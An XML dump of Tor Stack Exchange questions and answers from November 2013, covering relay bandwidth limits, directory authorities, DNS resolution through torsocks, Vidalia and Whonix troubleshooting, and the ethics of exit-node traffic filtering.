  <row Id="791" PostTypeId="1" CreationDate="2013-11-13T21:01:45.377" Score="6" ViewCount="3025" Body="&lt;p&gt;Setting up a Tor relay on a VPS/cloud is a relatively straightforward process, which is great for people who enjoy that &lt;sub&gt;&lt;sup&gt;warm-fuzzy-i'm-making-a-difference&lt;/sup&gt;&lt;/sub&gt; feeling we get by contributing bandwidth to the network. However, most providers have a monthly limit on how much bandwidth you can contribute before charging extra, and that's something most of us would like to avoid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Luckily &lt;code&gt;torrc&lt;/code&gt; includes a really handy setting called &lt;code&gt;AccountingMax&lt;/code&gt; that will cause your relay to go into hibernation when you hit a certain limit. With a 1000GB/mo VPS plan you could set a conservative monthly limit of 900 GB (or a daily limit of 30 GB) and Tor will automatically stop serving well before you dip into extra costs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only downside to this is that your relay won't be very stable. For a certain amount of time every day/month your server will be idle, thereby limiting the amount of consistent help you can contribute. I've used the &lt;code&gt;RelayBandwidthRate&lt;/code&gt; setting to limit my bandwidth in an attempt to find a balance where I'm always relaying but never going over my limits. However, as throughput rates tend to fluctuate I'm not really sure if my settings are optimal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to determine what &lt;code&gt;AccountingMax&lt;/code&gt; / &lt;code&gt;RelayBandwidthRate&lt;/code&gt; / &lt;code&gt;RelayBandwidthBurst&lt;/code&gt; settings are optimal for a given monthly cap? Would traffic ever be consistent enough to to come up with a simple table that could be included in the setup guide?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;tl;dr&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially I'm looking for something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Uewtf.png&quot; alt=&quot;Tor optimal bandwidth table&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="71" LastActivityDate="2013-11-13T23:10:44.410" Title="How to calculate optimal Relay Bandwidth &amp; Throughput" Tags="|relays|bandwidth|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="792" PostTypeId="1" CreationDate="2013-11-13T21:24:21.300" Score="2" ViewCount="161" Body="&lt;p&gt;Let's assume that the NSA can't attack all Tor nodes at once, and someone using Tor is anonymous this way, but how does Tor actually download these secure Tor nodes when we open it? I mean does Tor client just download these relays over SSL from &lt;a href=&quot;http://torproject.org&quot; rel=&quot;nofollow&quot;&gt;http://torproject.org&lt;/a&gt;? If so then NSA just needs to steal &lt;a href=&quot;http://torproject.org&quot; rel=&quot;nofollow&quot;&gt;http://torproject.org&lt;/a&gt; SSL certificate and give bad relays to locate Tor users!&lt;/p&gt;&#xA;" OwnerUserId="535" LastEditorUserId="232" LastEditDate="2013-11-19T20:25:18.683" LastActivityDate="2013-11-19T20:25:18.683" Title="How is relay information obtained after running Tor?" Tags="|relays|security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="793" PostTypeId="2" ParentId="792" CreationDate="2013-11-13T22:17:44.427" Score="4" Body="&lt;p&gt;This is from the Tor FAQ at &lt;a href=&quot;https://www.torproject.org/docs/faq#KeyManagement&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/faq#KeyManagement&lt;/a&gt; .&#xA;There is much more, but I think this snippet, especially the last bit, is what you're looking for:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;How do clients know what the relays are, and how do they know that    they have the right keys for them?&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;Each relay has a long-term public signing key called the &quot;identity&#xA;  key&quot;. Each directory authority additionally has a &quot;directory signing&#xA;  key&quot;. The directory authorities provide a signed list of all the known&#xA;  relays, and in that list are a set of certificates from each relay&#xA;  (self-signed by their identity key) specifying their keys, locations,&#xA;  exit policies, and so on. So unless the adversary can control a&#xA;  majority of the directory authorities (as of 2012 there are 8&#xA;  directory authorities), he can't trick the Tor client into using other&#xA;  Tor relays.&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;How do clients know what the directory authorities are?&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;The Tor software comes with a built-in list of location and public key&#xA;  for each directory authority. So the only way to trick users into&#xA;  using a fake Tor network is to give them a specially modified version&#xA;  of the software.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Edit to add: So it's a list of authorities. The bad guys would have to control all dir auths while maintaining their keys.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2013-11-13T22:17:44.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="794" PostTypeId="2" ParentId="791" CreationDate="2013-11-13T23:10:44.410" Score="4" Body="&lt;p&gt;You should set your RelayBandwidthRate to the monthly cap divided by the number of seconds in a month divided by 2. (The 2 is because all traffic you relay goes in and out, so it counts twice.) To be conservative, I assume 1G for the provider is 10^9 and that 1K for Tor is 1024, that would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 500GB -  91 KB&#xA;1000GB - 182 KB&#xA;2000GB - 364 KB&#xA;4000GB - 792 KB&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At these rates, you should never hit your AccountingMax and never hibernate. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your RelayBandwidthBurst should be the amount of bandwidth you have to spare, so if you use this VPS exclusively for Tor, then all of it. If your upload and download speed are different, then use the lower of the two. But on a VPS it is probably symmetrical. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you see little use, you could ramp up your bandwidth rate until hibernation kicks in. But it can take a long time to see the effects of changing settings and they can be unpredictable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, there is no way to dynamically adjust your bandwidth rate to what you have left for the month.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2013-11-13T23:10:44.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="795" PostTypeId="1" AcceptedAnswerId="1611" CreationDate="2013-11-14T03:52:04.880" Score="5" ViewCount="977" Body="&lt;p&gt;I'm trying to clone project from github via Tor. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# torsocks git clone http://github/project/project.git&#xA;: Could not resolve host: github.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm going to catch a failure of resolving of IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, I'm trying to find a problem, simply by checking the Tor-resolve binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Wed Nov 13 20:32:37 NOVT 2013&#xA;Nov 13 20:32:37.884 [debug] main(): defaulting to localhost&#xA;Nov 13 20:32:37.884 [debug] main(): defaulting to port 9050&#xA;Nov 13 20:32:37.885 [warn] Got SOCKS5 status response '4': host is unreachable&#xA;Wed Nov 13 20:32:38 NOVT 2013&#xA;Nov 13 20:32:38.888 [debug] main(): defaulting to localhost&#xA;Nov 13 20:32:38.888 [debug] main(): defaulting to port 9050&#xA;Nov 13 20:32:38.888 [warn] Got SOCKS5 status response '4': host is unreachable&#xA;Wed Nov 13 20:32:39 NOVT 2013&#xA;Nov 13 20:32:39.890 [debug] main(): defaulting to localhost&#xA;Nov 13 20:32:39.890 [debug] main(): defaulting to port 9050&#xA;Nov 13 20:32:39.890 [warn] Got SOCKS5 status response '4': host is unreachable&#xA;Wed Nov 13 20:32:40 NOVT 2013&#xA;Nov 13 20:32:40.893 [debug] main(): defaulting to localhost&#xA;Nov 13 20:32:40.893 [debug] main(): defaulting to port 9050&#xA;192.30.252.129&#xA;Wed Nov 13 20:32:42 NOVT 2013&#xA;Nov 13 20:32:42.062 [debug] main(): defaulting to localhost&#xA;Nov 13 20:32:42.062 [debug] main(): defaulting to port 9050&#xA;Nov 13 20:32:42.063 [warn] Got SOCKS5 status response '4': host is unreachable&#xA;Wed Nov 13 20:32:43 NOVT 2013&#xA;Nov 13 20:32:43.065 [debug] main(): defaulting to localhost&#xA;Nov 13 20:32:43.065 [debug] main(): defaulting to port 9050&#xA;Nov 13 20:32:43.065 [warn] Got SOCKS5 status response '4': host is unreachable&#xA;Wed Nov 13 20:32:44 NOVT 2013&#xA;Nov 13 20:32:44.081 [debug] main(): defaulting to localhost&#xA;Nov 13 20:32:44.081 [debug] main(): defaulting to port 9050&#xA;Nov 13 20:32:44.084 [warn] Got SOCKS5 status response '4': host is unreachable&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have found that, I'm getting lucky only once, per minute:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fails&#xA;....&#xA;Wed Nov 13 20:33:42 NOVT 2013&#xA;Nov 13 20:33:42.285 [debug] main(): defaulting to localhost&#xA;Nov 13 20:33:42.285 [debug] main(): defaulting to port 9050&#xA;192.30.252.129&#xA;....&#xA;fails&#xA;....&#xA;Wed Nov 13 20:34:44 NOVT 2013&#xA;Nov 13 20:34:44.711 [debug] main(): defaulting to localhost&#xA;Nov 13 20:34:44.711 [debug] main(): defaulting to port 9050&#xA;192.30.252.128&#xA;....&#xA;fails&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All is ok with any other domain, I can resolve google dns many times at line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ tor-resolve -v google.com&#xA;Nov 14 03:49:20.391 [debug] main(): defaulting to localhost&#xA;Nov 14 03:49:20.391 [debug] main(): defaulting to port 9050&#xA;173.194.37.69&#xA;$ tor-resolve -v google.com&#xA;Nov 14 03:49:20.623 [debug] main(): defaulting to localhost&#xA;Nov 14 03:49:20.623 [debug] main(): defaulting to port 9050&#xA;173.194.37.69&#xA;$ tor-resolve -v google.com&#xA;Nov 14 03:49:20.847 [debug] main(): defaulting to localhost&#xA;Nov 14 03:49:20.847 [debug] main(): defaulting to port 9050&#xA;173.194.37.69&#xA;$ tor-resolve -v google.com&#xA;Nov 14 03:49:21.089 [debug] main(): defaulting to localhost&#xA;Nov 14 03:49:21.089 [debug] main(): defaulting to port 9050&#xA;173.194.37.69&#xA;$ tor-resolve -v google.com&#xA;Nov 14 03:49:21.327 [debug] main(): defaulting to localhost&#xA;Nov 14 03:49:21.327 [debug] main(): defaulting to port 9050&#xA;173.194.37.69&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What shall be done next to find the bug?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# tor-resolve --version&#xA;Tor version 0.2.3.25.&#xA;# tor --version&#xA;Tor version 0.2.5.1-alpha-dev (git-4aa9affec2eac0a9).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="503" LastEditorUserId="923" LastEditDate="2014-07-03T21:53:20.030" LastActivityDate="2014-07-03T21:53:20.030" Title="Tor-resolve resolve dns only once per minute for github.com" Tags="|dns|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="796" PostTypeId="2" ParentId="774" CreationDate="2013-11-14T09:41:11.103" Score="1" Body="&lt;p&gt;Do you meant by onion search engine? There are some services like TORCH that serves to be Tor search engine. By the way, Onion is a &lt;strong&gt;hidden&lt;/strong&gt; service, means no one can find it unless onion owner want to publish their address by putting it into Hidden Wiki or other sites.&lt;/p&gt;&#xA;" OwnerUserId="502" LastActivityDate="2013-11-14T09:41:11.103" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="798" PostTypeId="2" ParentId="788" CreationDate="2013-11-16T12:48:01.543" Score="5" Body="&lt;p&gt;This is a &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/8893&quot;&gt;known bug in Vidalia&lt;/a&gt; (soon to be replaced by Tor Launcher). When you modify some settings in Vidalia it writes an incorrect SocksPort in the torrc file (9050) which will break the proxy between Tor and Tor Browser (Proxy server is refusing connection).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can fix this by navigating to your Tor browser folder then open Data/Tor/torrc with notepad then edit the following line:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SocksPort 9050 to SocksPort 9150&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then save and restart Vidalia/Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can avoid all of this and use Tor Browser 3.0 beta-1.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorDisplayName="user5" LastEditDate="2013-11-16T20:21:24.790" LastActivityDate="2013-11-16T20:21:24.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="799" PostTypeId="1" CreationDate="2013-11-16T18:15:00.303" Score="4" ViewCount="3335" Body="&lt;p&gt;I am trying to set up a hidden service in tails and it seems that polipo is blocking access to &lt;code&gt;127.0.0.1:8080&lt;/code&gt; where I am hosting an Apache site. Is there any way to configure polipo to allow access to certain localhost ports? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My assumption is that this port must be accessible on localhost to me so that vidalia can set up a hidden service to point to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I &lt;code&gt;curl http:// localhost:8080&lt;/code&gt;&#xA;I get this error&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;504 Connect to 127.0.0.1:8080 failed: General SOCKS server failure&lt;br /&gt;&#xA;  The following error occurred while trying to access&lt;br /&gt;&#xA;  &lt;code&gt;http:// 127.0.0.1:8080&lt;/code&gt;&lt;br /&gt;&#xA;  504 Connect to 127.0.0.1:8080 failed: General SOCKS server failure&lt;br /&gt;&#xA;  Generated Sat, 16 Nov 2013 18:11:43 UTC by Polipo on &lt;em&gt;localhost:8118&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="546" LastEditorUserId="88" LastEditDate="2013-11-16T20:28:24.733" LastActivityDate="2013-12-18T21:14:55.123" Title="Open localhost:8080 in tails to run hidden service in tails ... polipo seems to be blocking me" Tags="|onion-services|tails|polipo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="800" PostTypeId="2" ParentId="298" CreationDate="2013-11-16T18:31:01.210" Score="6" Body="&lt;p&gt;Based on the case reports they were able to trace the SR to him. That does not mean that he was initially found out because of a tor compromise. If such a compromise existed, they would have had to create a parallel construction to hide the fact the compromise existed, which would had been trival once they found their target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, he may have gotten sloppy, and that will be used as evidence against him, but that does not mean that is how he was initally discovered. That would only be known by the investgator, and the disclosed discovery may have been just to cover up the actual methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, we know the offical report, but there is no way to validate its truth, and we are likely never going to know. It is interesting that following this another sting happened that brought down a huge number of other CP and other hidden service type sites. The timing is quite tight, so there is a likely tie between the two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your actual questions:&#xA;Is it known if deanonymization of the Tor communication played role in this operation? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is unknown, and to say that it wasn't deanonymization of tor with any sureness is misguided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, is it known which techniques of attacking Tor anonymity were used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only hope we have is that our hackers are better than ours and that the open source community has found problems to fix better than the NSA. I have a fair amount of confidence that we have more eyes and more quality eyes looking at the problems, but then again, mistakes have been made.&lt;/p&gt;&#xA;" OwnerUserId="546" LastActivityDate="2013-11-16T18:31:01.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="802" PostTypeId="1" CreationDate="2013-11-17T12:24:43.903" Score="6" ViewCount="166" Body="&lt;p&gt;If we chose to become an exit node at the same time while routing our connections through Tor, is there a possibility that our own exit node is going to be the exit node that we just set up? (As a result, our real IP would be exposed)&lt;/p&gt;&#xA;" OwnerUserId="550" LastEditorDisplayName="user5" LastEditDate="2013-11-17T21:40:24.063" LastActivityDate="2013-11-17T21:40:24.063" Title="Is there any possibility that exit node in one of our sessions will be our own relay?" Tags="|exit-relays|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="803" PostTypeId="2" ParentId="802" CreationDate="2013-11-17T15:33:49.613" Score="5" Body="&lt;p&gt;The &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob_plain/HEAD:/path-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;path spec&lt;/a&gt; doesn't list choosing your own node as one of its constraints on exit nodes:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;2.2. Path selection and constraints&lt;/p&gt;&#xA;&lt;p&gt;We choose the path for each new circuit before we build it.  We&#xA;choose the    exit node first, followed by the other nodes in the&#xA;circuit.  All paths    we generate obey the following constraints:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;We do not choose the same router twice for the same path.&lt;/li&gt;&#xA;&lt;li&gt;We do not choose any router in the same family as another in the same&#xA;path. (Two routers are in the same family if each one lists the other&#xA;in the &amp;quot;family&amp;quot; entries of its descriptor.)&lt;/li&gt;&#xA;&lt;li&gt;We do not choose more than one router in a given /16 subnet&#xA;(unless EnforceDistinctSubnets is 0).&lt;/li&gt;&#xA;&lt;li&gt;We don't choose any non-running or non-valid router unless we have&#xA;been configured to do so. By default, we are configured to allow&#xA;non-valid routers in &amp;quot;middle&amp;quot; and &amp;quot;rendezvous&amp;quot; positions.&lt;/li&gt;&#xA;&lt;li&gt;If we're using Guard nodes, the first node must be a Guard (see 5&#xA;below)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;and I suspect that it would not exclude itself from the list of possible exit nodes. Contrary to what you might think, this is a good thing.&lt;/p&gt;&#xA;&lt;p&gt;Imagine a situation where an attacker has found a way to force you to create a new circuit and knows what exit node you're using: The attacker could continuously force you to create a new circuit, all the while writing down what exit nodes you select. Eventually he would see that you don't pick a certain node (the one you're running) and you'd be deanonymized.&lt;/p&gt;&#xA;&lt;p&gt;By allowing you to pick your own node, you're actually gaining security because it makes your exit node and proxied traffic indistinguishable from other traffic / exit nodes in the network. Not being able to select your own exit would be a factor that could lead to deanonymization.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2013-11-17T20:03:46.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="804" PostTypeId="2" ParentId="213" CreationDate="2013-11-18T01:46:02.837" Score="4" Body="&lt;p&gt;It's definitively considered a bad practice, for a number of reasons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Possible legal repercussions (personally I doubt this holds up, unless you actively target for and process personally identifiable information).&lt;/li&gt;&#xA;&lt;li&gt;The obvious privacy/ethical questions raised.&lt;/li&gt;&#xA;&lt;li&gt;Tor does not like it and will penalize you if caught modifying exit data.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;HOWEVER&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Possible legal repercussions -- explanation: Atleast with respect to most european service providers in a consumer capacity, YOU are held legally accountable for the traffic leaving your network.&lt;/li&gt;&#xA;&lt;li&gt;(European) Service providers are required by law to log traffic, it could be argued that you are legally a service provider (Hosting an exit node, you provide a service)&lt;/li&gt;&#xA;&lt;li&gt;It IS your network.. and should be free to choose what to allow on and off your network. You should not MODIFY foreign tor data under any circumstance, but you can damn well decide to DROP a connection because it does not comply with YOUR policy or even local law, whether you come by this decision port based, protocol based, further inspected or otherwise -- net neutrality does not come in effect. Trying to decrypt further layers however is a different matter e.g. https or other ssl/tls enabled protocols.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So like others stated, most likely you &lt;code&gt;SHOULD NOT&lt;/code&gt; but &lt;code&gt;YOU CAN AND MAY&lt;/code&gt; and under certain conditions maybe even &lt;code&gt;SHOULD&lt;/code&gt;. Also the tor RFC's specify you should not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I would security inspect, not because I'm a censoring sysop from hell(tm), but because there is certain traffic I do NOT want leaving my network(s) under any condition (virii, cnc traffic, spam, certain forms of porn the network is famous for), and because I believe in protocol enforcement as an effective defence (or attack) against malicious traffic and to ensure the quality of service on the internet as a whole (think software not adhering to rfc's). However I would also go out of my way to ensure these metadata is not stored or read by humans (except for perhaps policy violations).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a personal choice in the end, at least when it comes to filtering, with both pro's and (arguably more) con's depending on the situation. As for inline traffic modification or packet mangling, that's certainly a big NO (perhaps slight protocol adjustments excluded, which can actually result in better secured connections or anonymity). At least until this case ends up in court and a legal precedent is created.&lt;/p&gt;&#xA;" OwnerUserId="497" LastEditorDisplayName="user5" LastEditDate="2013-11-18T02:04:02.020" LastActivityDate="2013-11-18T02:04:02.020" CommentCount="0" CommunityOwnedDate="2013-11-18T01:46:02.837" ContentLicense="CC BY-SA 3.0" />
  <row Id="805" PostTypeId="1" AcceptedAnswerId="1167" CreationDate="2013-11-18T06:40:05.043" Score="4" ViewCount="228" Body="&lt;p&gt;I want to know how many preemptively circuits Tor can builds. I got confused about it when I read &quot;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git?a=blob_plain;hb=HEAD;f=path-spec.txt&quot; rel=&quot;noreferrer&quot;&gt;Tor Path Specification&lt;/a&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to this article, at the startup Tor builds 3 clean circuits, but somewhere else it says Tor builds 2 circuits for each recently seen ports (If there are 12 or more clean circuits open, it doesn't open more even if it has more predictions.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;What does Tor actually do when preemptively building circuits?&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="552" LastEditorDisplayName="user5" LastEditDate="2013-11-18T13:32:03.117" LastActivityDate="2013-12-29T09:04:19.653" Title="How many preemptively built circuits?" Tags="|circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="807" PostTypeId="2" ParentId="771" CreationDate="2013-11-18T16:07:55.683" Score="7" Body="&lt;p&gt;It is a known bug on ibus-x11 on Ubuntu 13.10 amd64&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/9353&quot; rel=&quot;nofollow&quot;&gt;open Trac ticket&lt;/a&gt; you should &lt;code&gt;killall ibus-x11&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="555" LastEditorUserId="71" LastEditDate="2014-02-07T16:20:54.027" LastActivityDate="2014-02-07T16:20:54.027" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="809" PostTypeId="1" CreationDate="2013-11-19T08:14:12.320" Score="2" ViewCount="771" Body="&lt;p&gt;Whenever I try to run the Whonix Network Time Syncing from the Workstation I keep getting the following error message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4dtZ7.png&quot; alt=&quot;You can only see the image, when you are logged into stackexchange.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However whenever I run Network Time Syncing in Gateway, It will sit at about 10% in the status bar and wont move, even after leaving it for almost an hour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have my System clock set to exactly the same as the Whonix internal clock (UTC time) But I still cant connect through the Tor Browser. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Ideas?&lt;/p&gt;&#xA;" OwnerUserId="558" LastEditorUserId="80" LastEditDate="2013-11-19T10:03:10.780" LastActivityDate="2013-11-20T05:55:20.237" Title="Whonix/Tor Bug/Error" Tags="|whonix|time|" AnswerCount="1" CommentCount="7" ClosedDate="2013-12-07T17:27:15.713" ContentLicense="CC BY-SA 3.0" />
  <row Id="810" PostTypeId="2" ParentId="809" CreationDate="2013-11-19T10:18:02.457" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;However whenever I run Network Time Syncing in Gateway, It will sit at about 10% in the status bar and wont move, even after leaving it for almost an hour.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What does &lt;code&gt;whonixcheck&lt;/code&gt; say?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does sdwdate's log say?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find that out, run.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tail -f /var/log/sdwdate.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add this information using the comment function and I will update this answer.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I have my System clock set to exactly the same as the Whonix internal clock (UTC time)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is wrong. And you shouldn't try such things without being told so in documentation or without knowing what you are doing. Leave your host's (the host is the system you were using without knowing about Whonix) system clock to what it is usually set, i.e. your usual time zone and your current time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it's likely, that Tor isn't able to connect in the first place. Running &lt;code&gt;whonixcheck&lt;/code&gt; on Whonix-Gateway will tell. Are you living in a censored area (rhetoric question)? Have you followed the &lt;a href=&quot;https://www.whonix.org/wiki/Pre_Install_Advice#Tor_Browser_Bundle&quot; rel=&quot;nofollow&quot;&gt;recommendation&lt;/a&gt; to learn how to use the Tor Browser Bundle on your host first? Does that work for you?&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2013-11-19T10:18:02.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="812" PostTypeId="2" ParentId="755" CreationDate="2013-11-20T11:31:00.523" Score="0" Body="&lt;p&gt;Yes it is possible.  It's hard to tell how it will affect any of the anonymity properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm unclear why you would want to do that though.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="88" LastEditDate="2014-01-01T22:14:28.220" LastActivityDate="2014-01-01T22:14:28.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="813" PostTypeId="2" ParentId="778" CreationDate="2013-11-20T11:38:51.147" Score="1" Body="&lt;p&gt;It seems to me, that this keyserver is offline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At least downloading &lt;a href=&quot;http://2eghzlv2wwcq7u7y.onion:11371/pks/lookup?search=weasel%40debian.org&amp;amp;op=index&quot; rel=&quot;nofollow&quot;&gt;my key from the hidden service&lt;/a&gt; fails even without TorBirdy.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-11-20T11:38:51.147" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="814" PostTypeId="1" AcceptedAnswerId="818" CreationDate="2013-11-20T12:45:00.227" Score="4" ViewCount="2806" Body="&lt;p&gt;In that case, it should download the page from the beginning because the TCP connection was closed, right? If it's not the case, how does Tor know when the site has finished loading?&lt;/p&gt;&#xA;" OwnerUserId="559" LastActivityDate="2013-11-21T00:40:00.830" Title="Can Tor change circuit while accessing a webpage?" Tags="|configuration|circuit|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="815" PostTypeId="2" ParentId="814" CreationDate="2013-11-20T13:59:20.537" Score="2" Body="&lt;p&gt;The TCP connection closes when the webpage finishes loading. In HTTP/1.1 you can use the same TCP connection to download all the files on the webpage (images, CSS, scripts), but in any case, the TCP connection is closed when the webpage ends. Further access to same site (like clicking on a link) may happen over a different circuit.&lt;/p&gt;&#xA;" OwnerUserId="555" LastActivityDate="2013-11-20T13:59:20.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="816" PostTypeId="1" CreationDate="2013-11-20T17:40:22.423" Score="3" ViewCount="125" Body="&lt;p&gt;Criminals use Tor same as other users. running exit node have serious risks and effects (i can't make google searches any more after that). relaying for hidden services is risky too or its safe as middle routing?&lt;/p&gt;&#xA;" OwnerUserId="563" LastEditorUserId="923" LastEditDate="2014-03-04T08:23:29.250" LastActivityDate="2014-03-04T08:23:29.250" Title="relaying for hidden services is dangerous as exit relaying?" Tags="|onion-services|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="817" PostTypeId="2" ParentId="816" CreationDate="2013-11-20T18:19:05.290" Score="5" Body="&lt;p&gt;As far as I know, 'relaying for hidden services' is not optional. If you're a relay, you can be used to access hidden services. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, being part of a circuit from a client to a HS is no different than being part of a circuit from a client to an exit and subsequently to the clear net. (If anything, there is &lt;em&gt;less&lt;/em&gt; risk, since you're not necessarily exchanging traffic with (known) exit nodes, and the traffic you relay never hits the clear.)&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2013-11-20T18:19:05.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
